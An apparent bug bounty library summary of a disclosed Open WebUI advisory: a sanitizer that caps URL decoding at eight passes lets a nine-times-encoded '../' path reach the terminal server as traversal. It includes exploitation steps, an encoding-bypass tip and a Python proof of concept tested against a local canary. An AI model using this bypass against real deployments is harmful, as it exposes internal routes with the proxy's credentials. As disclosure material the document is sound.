# open-webui terminal proxy path traversal guard bypass via 9x encoded traversal

Open WebUI's terminal proxy sanitizer caps unquote() at 8 passes, so a 9x-encoded ../ path survives checks and is forwarded upstream as traversal.

- Payout: Research
- Severity: high
- Program: Open WebUI
- Found by: DavidCarliez
- Disclosed: 2026-07-24
- CVE: CVE-2026-59221
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-frvj-c5qp-xj4w
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-frvj-c5qp-xj4w
- Tags: area:web domain:web impact:internal-access kind:research platform:ghsa sev:high tech:python technique:incomplete-fix technique:parser-differential vuln:access-control vuln:path-traversal vuln:ssrf

**Target:** terminal proxy route in backend/open_webui/routers/terminals.py
**Root cause:** _sanitize_proxy_path() decodes at most 8 times, then applies posixpath.normpath() and a startswith('..') check to a value that may still contain percent-encoded dot/slash bytes, which normpath treats as ordinary characters. The still-encoded path is concatenated into the upstream URL and decoded by the terminal server into a real traversal.
**Steps:**
1. Note the sanitizer loop `for _ in range(8): once = unquote(decoded); if once == decoded: break; decoded = once`
2. Encode `../admin/system` 9 times (each round percent-encodes every byte, then `%` -> `%25` for subsequent rounds)
3. Pass the 9x-encoded string to `_sanitize_proxy_path()`: after 8 unquotes it remains `%2E%2E%2F%61%64%6D%69%6E%2F%73%79%73%74%65%6D`, normpath leaves it intact, startswith('..') is false, so it is accepted
4. Request `http://127.0.0.1:{port}/base/{safe}`; upstream aiohttp decodes to `raw_path: '/base/..%2Fadmin%2Fsystem'`, `path: '/base/../admin/system'`
5. Through the real route add one more encoding layer to account for the ASGI server decoding the HTTP path once before filling `{path:path}`
**How found:** Reviewed the incomplete fix for GHSA-r2wg-2mcr-66rv: the docstring claims decode-until-stable but the loop is capped at 8 iterations, so they hypothesized a 9x-encoded payload would survive the loop and the normpath/startswith checks, then confirmed with a local aiohttp canary.
**Exploitation:** An attacker with access to an admin-configured terminal connection sends a request to the terminal proxy route with a 9x (externally 10x) percent-encoded `../` path. Open WebUI forwards it with the configured terminal credentials and X-User-Id header to the terminal server, which decodes it into a traversal path such as `/base/../admin/system`, reaching routes outside the intended proxy path; for orchestrator-backed connections the path sits under `/p/{policy_id}/{safe_path}` so sibling/parent routes can be targeted.
**Escalation:** For orchestrator-backed terminal connections the bypassed path lands under `/p/{policy_id}/...`, allowing targeting of sibling or parent routes after upstream decoding.
**Insight:** When a sanitizer claims 'decode until stable' but uses a fixed iteration cap, count the exact depth and go one layer deeper; also remember the ASGI/HTTP layer decodes once before your parameter arrives, so the external payload needs one extra encoding round.

## Proof of concept (copied exactly from the original report)

**Standalone Python PoC mirroring sanitizer with aiohttp canary**

```
import asyncio, posixpath
from urllib.parse import unquote
from aiohttp import web, ClientSession, ClientTimeout

def sanitize(path):
    decoded = path
    for _ in range(8):
        once = unquote(decoded)
        if once == decoded:
            break
        decoded = once
    cleaned = posixpath.normpath(decoded).lstrip('/')
    if cleaned.startswith('..') or cleaned == '.':
        return None
    return cleaned

def enc(s, rounds):
    out = ''.join(f'%{b:02X}' for b in s.encode())
    for _ in range(rounds - 1):
        out = out.replace('%', '%25')
    return out

async def main():
    async def handler(request):
        return web.json_response({'raw_path': request.raw_path, 'path': request.path})
    app = web.Application()
    app.router.add_route('*', '/{tail:.*}', handler)
    runner = web.AppRunner(app)
    await runner.setup()
    site = web.TCPSite(runner, '127.0.0.1', 0)
    await site.start()
    port = site._server.sockets[0].getsockname()[1]

    for rounds in (8, 9):
        safe = sanitize(enc('../admin/system', rounds))
        print(rounds, safe)
        if safe:
            url = f'http://127.0.0.1:{port}/base/{safe}'
            async with ClientSession(timeout=ClientTimeout(total=10)) as session:
                async with session.get(url) as response:
                    print(await response.json())
    await runner.cleanup()

asyncio.run(main())
```

